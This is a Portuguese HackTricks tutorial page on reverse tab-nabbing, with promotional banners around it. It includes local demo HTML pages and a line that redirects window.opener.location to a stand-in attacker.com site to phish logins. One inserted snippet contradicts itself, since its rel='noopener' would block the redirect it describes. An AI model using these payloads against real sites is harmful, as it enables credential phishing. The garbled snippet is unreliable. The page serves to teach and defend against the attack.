7.5 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.
Descrição
Em uma situação em que um atacante pode controlar o argumento href
de uma tag <a
com o atributo target="_blank" rel="opener"
que será clicada por uma vítima, o atacante aponta este link para um site sob seu controle (um site malicioso). Então, uma vez que a vítima clica no link e acessa o site do atacante, este site malicioso será capaz de controlar a página original via o objeto javascript window.opener
.
Se a página não tiver rel="opener"
mas contiver target="_blank"
e também não tiver rel="noopener"
ela também pode ser vulnerável.
Uma maneira comum de abusar desse comportamento seria alterar a localização do site original via window.opener.location = https://attacker.com/victim.html
para um site controlado pelo atacante que parece com o original, para que possa imitar o formulário de login do site original e solicitar credenciais ao usuário.
No entanto, observe que, como o atacante agora pode controlar o objeto de janela do site original, ele pode abusar dele de outras maneiras para realizar ataques mais furtivos (talvez modificando eventos javascript para exfiltrar informações para um servidor controlado por ele?)
Visão geral
Com link de retorno
Link entre páginas pai e filho quando o atributo de prevenção não é usado:
Sem link de retorno
Link entre páginas pai e filho quando o atributo de prevenção é usado:
Exemplos
Crie as seguintes páginas em uma pasta e execute um servidor web com python3 -m http.server
Em seguida, acessar http://127.0.0.1:8000/
vulnerable.html, clique no link e observe como a URL do site original muda.
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
{% endcode %}
{% code title="malicious.html" %}
<a href="https://example.com" target="_blank" rel="noopener noreferrer" onclick="window.opener.location='https://attacker.com'">Click me!</a>
{% endcode %}
Este é um exemplo de código HTML malicioso que pode ser usado para realizar um ataque de reverse tab-nabbing. Quando o usuário clica no link, ele abre uma nova aba com o site de destino, mas a aba original é redirecionada para o site do atacante. Isso pode ser usado para roubar informações confidenciais do usuário ou realizar outras atividades maliciosas. É importante estar ciente desse tipo de ataque e tomar medidas para se proteger, como evitar clicar em links suspeitos e manter o software de segurança atualizado.
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
{% code title="malicious_redir.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
Propriedades acessíveis
O site malicioso só pode acessar as seguintes propriedades do objeto de referência javascript opener (que é, na verdade, uma referência a uma instância da classe javascript window) em caso de acesso de origem cruzada (entre domínios):
opener.closed
: Retorna um valor booleano indicando se uma janela foi fechada ou não.opener.frames
: Retorna todos os elementos iframe na janela atual.opener.length
: Retorna o número de elementos iframe na janela atual.opener.opener
: Retorna uma referência à janela que criou a janela.opener.parent
: Retorna a janela pai da janela atual.opener.self
: Retorna a janela atual.opener.top
: Retorna a janela do navegador mais acima.
Se os domínios forem os mesmos, o site malicioso pode acessar todas as propriedades expostas pelo objeto de referência javascript window.
Prevenção
As informações de prevenção estão documentadas na HTML5 Cheat Sheet.
Referências
{% embed url="https://owasp.org/www-community/attacks/Reverse_Tabnabbing" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.